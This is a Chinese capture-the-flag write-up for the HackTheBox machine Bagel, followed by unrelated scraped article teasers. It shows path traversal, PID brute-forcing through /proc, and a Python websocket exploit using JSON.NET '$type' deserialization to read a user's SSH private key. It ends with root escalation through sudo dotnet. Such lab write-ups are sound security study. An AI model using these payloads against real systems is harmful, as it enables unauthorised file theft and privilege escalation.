HackTheBox - Medium - Linux - Bagel

news/2025/1/15 18:03:30/

Bagel

今天我开始了《Red Team Development and Operations A Practical Guide》的学习,保持学习,后面差不多到时机后就学CRTOⅡ


Bagel 是一款中等难度的 Linux 机器,其特点是电子商店容易受到路径遍历攻击,通过该攻击可以获取应用程序的源代码。然后,该漏洞用于下载“.NET”WebSocket服务器,该服务器一旦反汇编就会显示纯文本凭据。进一步的分析揭示了一个不安全的反序列化漏洞,该漏洞被用于读取任意文件,包括用户的私钥“SSH”。使用密钥在计算机上获取立足点,之前发现的密码用于透视到另一个用户,该用户可以使用具有“root”权限的“dotnet”工具。此错误配置用于执行恶意的“.NET”应用程序,从而导致权限完全升级。


外部信息收集

端口扫描

循例nmap

file

Web枚举

8000

file

发现这里存在任意文件读取

file

我们可以读取到app.py

file

don't forget to run the order app first with "dotnet <path to .dll>" command. Use your ssh key to access the machine.

这句话向我们提供的信息,我想5000端口就是这个程序

虽然也不是第一次遇到任意文件读取去读/proc下的东西,但是这一台靶机彻底的加深了我的印象

由于它在命令行运行dll的时候需要指定dll文件的路径,所以我们可以通过爆破pid来读取/proc/pid/cmdline,找到那个dll路径,再通过任意文件读取去下载它,然后对dll进行一个反编译

生成数字字典

for i in {1..1000};do echo $i >> ./nums.txt;done

ffuf

file

我在pid 933发现了它

file

/opt/bagel/bin/Debug/net6.0/bagel.dll

curl下下来

file

Foothold

MessageReceived函数将我们发送的json字符串反序列化后,进行了一次序列化,然后返回给客户端。

file

跟踪到Handler,序列化和反序列化函数都使用type 4

file

当类型值为4时,将允许处理程序从序列化数据中推断正确的类型。同时为了能够利用它,我们还能够看到result被指定为Object,否则的话可能会由于类型不一致导致报错。

object result;
...

在看另一个类File

	public class File{// Token: 0x17000007 RID: 7// (get) Token: 0x0600001C RID: 28 RVA: 0x00002400 File Offset: 0x00000600// (set) Token: 0x0600001B RID: 27 RVA: 0x000023DD File Offset: 0x000005DDpublic string ReadFile{get{return this.file_content;}set{this.filename = value;this.ReadContent(this.directory + this.filename);}}// Token: 0x0600001D RID: 29 RVA: 0x00002418 File Offset: 0x00000618public void ReadContent(string path){try{IEnumerable<string> values = File.ReadLines(path, Encoding.UTF8);this.file_content += string.Join("\n", values);}catch (Exception ex){this.file_content = "Order not found!";}}

我们能够利用ReadFile属性来进行任意文件读取,原因是当进行反序列化时我们将能够设置ReadFile属性,即设置filename字段,并触发ReadContent(),此时我们还无法获取到文件内容,当再进行一次序列化时,file_content字段这些数据就会被带出来。

import websocket,jsonws = websocket.WebSocket()
ws.connect("ws://bagel.htb:5000/") # connect to order app
order = {"RemoveOrder":{"$type": "bagel_server.File, bagel",
"ReadFile":"../../../../home/phil/.ssh/id_rsa"}}
data = str(json.dumps(order))
ws.send(data)
result = ws.recv()
print(result)

我们还需要将ReadOrder改为RemoveOrder,这样我们就能不触发ReadOrder过滤…/的ReadFile,而是直接执行由我们指定的ReadFile函数了

运行exp我们能够得到phil的ssh私钥

file

登录ssh

file

本地横向移动 -> developer

前面在DB类里面发现了一组凭据,但遗憾的是developer不能使用密码登录ssh

file

不过我们现在立足后可以在内部使用su

file

本地权限提升

sudo -l

file

轻松的提权

先把bagel的project复制到tmp

file

vim改Program.cs,我这里选择读root flag

file

sudo dotnet run,我们将得到它

file


http://www.ppmy.cn/news/1290612.html

相关文章

MySQL5.7InnoDB简介

官网地址&#xff1a;MySQL :: MySQL 5.7 Reference Manual :: 14.1 Introduction to InnoDB 欢迎关注留言&#xff0c;我是收集整理小能手&#xff0c;工具翻译&#xff0c;仅供参考&#xff0c;笔芯笔芯. MySQL 5.7 参考手册 / InnoDB 存储引擎 / InnoDB 简介 14.1 InnoDB…

Vue.js 中使用 Watch 选项实现动态问题判断与展示答案

组件结构 以下是组件的基本结构&#xff1a; <template><div><!-- 输入框&#xff0c;用于输入问题 --><p>提出一个是/否问题&#xff1a;<input v-model"question" :disabled"loading" /></p><!-- 显示答案 --&…

阿里云服务器8080端口安全组开通图文教程

阿里云服务器8080端口开放在安全组中放行&#xff0c;Tomcat默认使用8080端口&#xff0c;8080端口也用于www代理服务&#xff0c;阿腾云atengyun.com以8080端口为例来详细说下阿里云服务器8080端口开启教程教程&#xff1a; 阿里云服务器8080端口开启教程 阿里云服务器8080端…

数据库攻防学习之MySQL

MySQL 0x01mysql学习 MySQL 是瑞典的MySQL AB公司开发的一个可用于各种流行操作系统平台的关系数据库系统&#xff0c;它具有客户机/服务器体系结构的分布式数据库管理系统。可以免费使用使用&#xff0c;用的人数很多。 0x02环境搭建 这里演示用&#xff0c;phpstudy搭建的…

数据结构 第八章节 排序

参考&#xff1a;1.数据结构C语言版|第2版&#xff1b;2.力扣&#xff1b;3.2024年数据结构考研复习指导。三个参考分别依次对应文章三个部分。 文章目录 第一部分基本概念插入排序直接插入排序折半插入排序希尔排序(缩小增量排序) 交换排序冒泡排序快速排序 选择排序简单选择…

94. 二叉树的中序遍历

94. 二叉树的中序遍历 题目链接&#xff1a;94. 二叉树的中序遍历 代码如下&#xff1a; /*** Definition for a binary tree node.* struct TreeNode {* int val;* TreeNode *left;* TreeNode *right;* TreeNode() : val(0), left(nullptr), right(nullptr)…

『番外篇六』SwiftUI 取得任意视图全局位置的三种方法

概览 在 SwiftUI 开发中,利用描述性代码我们可以很轻松的构建各种丰富多彩的视图。我们可以设置它们的大小、位置、颜色并应用不计其数的修改器。 但是,小伙伴们是否想过在 SwiftUI 中如何获取一个视图的全局位置坐标呢? 在本篇博文中,您将学到如下内容: 概览1. SwiftU…

普中STM32-PZ6806L开发板(HAL库函数实现-温度传感器DS18B20)

简介 主芯片STM32F103ZET6, 通过引脚PG11 连接DS18B20, 读取DS18B20采集的温度数据;电路原理图 DS18B20电路图 DS18B20 与 主芯片连接引脚 其他知识 DS18B20资料 DS18B20数据手册 DS18B20 简介 单线通讯的温度传感器, 测量温度在-55℃ 到 125℃&#xff0c; 在-10C 到…